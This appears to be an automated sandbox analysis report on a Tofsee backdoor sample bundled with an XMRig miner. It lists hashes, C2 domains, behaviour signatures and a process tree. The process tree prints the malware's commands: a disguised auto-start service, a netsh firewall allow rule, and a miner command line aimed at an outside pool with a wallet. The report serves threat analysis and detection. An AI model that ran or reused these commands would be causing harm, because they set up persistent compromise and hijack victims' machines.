Analysis

  • max time kernel
    118s
  • max time network
    165s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 22:26

General

  • Target

    21c38ebbea03aa2ddce570a40ebcbf10217b80b9dde4924ce7119fb13d260edb.exe

  • Size

    329KB

  • MD5

    c5acf32a68fc55104b5dafc61245bab4

  • SHA1

    8a1d49efbb20a987cd87d227c4c4016a36c76afb

  • SHA256

    21c38ebbea03aa2ddce570a40ebcbf10217b80b9dde4924ce7119fb13d260edb

  • SHA512

    8bc262803139c0420b71ffea63e772124446349d913bb194646c22f0d4dca0cd04d3a3108032c2f31618f482e86fbfa0aa4de63d7c53fcd03dcc438763970808

  • SSDEEP

    3072:y9xdm7sMhs6Y28qryW6A4bdZc4nJcJW+XkmwVWf4rEVjSHwZROr4bpLkC:yIths6Y28ehy5nJcU6QrEVjWlr4a

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 2 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\21c38ebbea03aa2ddce570a40ebcbf10217b80b9dde4924ce7119fb13d260edb.exe
    "C:\Users\Admin\AppData\Local\Temp\21c38ebbea03aa2ddce570a40ebcbf10217b80b9dde4924ce7119fb13d260edb.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2664
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wfwfhcyt\
      2⤵
        PID:2088
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mggyblpb.exe" C:\Windows\SysWOW64\wfwfhcyt\
        2⤵
          PID:2152
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wfwfhcyt binPath= "C:\Windows\SysWOW64\wfwfhcyt\mggyblpb.exe /d\"C:\Users\Admin\AppData\Local\Temp\21c38ebbea03aa2ddce570a40ebcbf10217b80b9dde4924ce7119fb13d260edb.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2728
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wfwfhcyt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2852
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wfwfhcyt
          2⤵
          • Launches sc.exe
          PID:2704
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2824
      • C:\Windows\SysWOW64\wfwfhcyt\mggyblpb.exe
        C:\Windows\SysWOW64\wfwfhcyt\mggyblpb.exe /d"C:\Users\Admin\AppData\Local\Temp\21c38ebbea03aa2ddce570a40ebcbf10217b80b9dde4924ce7119fb13d260edb.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2864
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2628
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:112

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\mggyblpb.exe

              Filesize

              13.8MB

              MD5

              f0acbd79a3b7b8f956bbe81997a1ebf0

              SHA1

              85aaa3e49e0cb3cb7c69c6e73ee0910ba9955ac0

              SHA256

              c0175ca81ce1ca7ea6ef60b71ac785608bb8a4d81eb160315d90997f12096482

              SHA512

              c29c4e21fc520f33230d8421033c47564f0c0d439a0a269776387221a27c7a89bd1726ffdb8acf132814ccd6a2db597bac4a51983aa7229c0796c4e4e5b0137f

            • C:\Windows\SysWOW64\wfwfhcyt\mggyblpb.exe

              Filesize

              13.8MB

              MD5

              f0acbd79a3b7b8f956bbe81997a1ebf0

              SHA1

              85aaa3e49e0cb3cb7c69c6e73ee0910ba9955ac0

              SHA256

              c0175ca81ce1ca7ea6ef60b71ac785608bb8a4d81eb160315d90997f12096482

              SHA512

              c29c4e21fc520f33230d8421033c47564f0c0d439a0a269776387221a27c7a89bd1726ffdb8acf132814ccd6a2db597bac4a51983aa7229c0796c4e4e5b0137f

            • memory/112-63-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/112-78-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/112-77-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/112-76-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/112-75-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/112-73-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/112-74-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/112-72-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/112-64-0x00000000001F0000-0x00000000002E1000-memory.dmp

              Filesize

              964KB

            • memory/2628-48-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-41-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2628-23-0x0000000001A00000-0x0000000001C0F000-memory.dmp

              Filesize

              2.1MB

            • memory/2628-26-0x0000000001A00000-0x0000000001C0F000-memory.dmp

              Filesize

              2.1MB

            • memory/2628-27-0x0000000000110000-0x0000000000116000-memory.dmp

              Filesize

              24KB

            • memory/2628-30-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-39-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-47-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-53-0x0000000000190000-0x0000000000195000-memory.dmp

              Filesize

              20KB

            • memory/2628-50-0x0000000000190000-0x0000000000195000-memory.dmp

              Filesize

              20KB

            • memory/2628-49-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-54-0x00000000059B0000-0x0000000005DBB000-memory.dmp

              Filesize

              4.0MB

            • memory/2628-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2628-46-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-45-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-44-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-43-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-42-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2628-40-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-38-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-37-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-36-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-35-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-34-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-33-0x0000000000120000-0x0000000000130000-memory.dmp

              Filesize

              64KB

            • memory/2628-58-0x0000000000230000-0x0000000000237000-memory.dmp

              Filesize

              28KB

            • memory/2628-57-0x00000000059B0000-0x0000000005DBB000-memory.dmp

              Filesize

              4.0MB

            • memory/2628-62-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2628-10-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2628-13-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2664-1-0x0000000000580000-0x0000000000680000-memory.dmp

              Filesize

              1024KB

            • memory/2664-7-0x0000000000580000-0x0000000000680000-memory.dmp

              Filesize

              1024KB

            • memory/2664-6-0x0000000000400000-0x0000000000507000-memory.dmp

              Filesize

              1.0MB

            • memory/2664-2-0x00000000002A0000-0x00000000002B3000-memory.dmp

              Filesize

              76KB

            • memory/2664-4-0x0000000000400000-0x0000000000507000-memory.dmp

              Filesize

              1.0MB

            • memory/2864-15-0x00000000005D0000-0x00000000006D0000-memory.dmp

              Filesize

              1024KB

            • memory/2864-16-0x0000000000400000-0x0000000000507000-memory.dmp

              Filesize

              1.0MB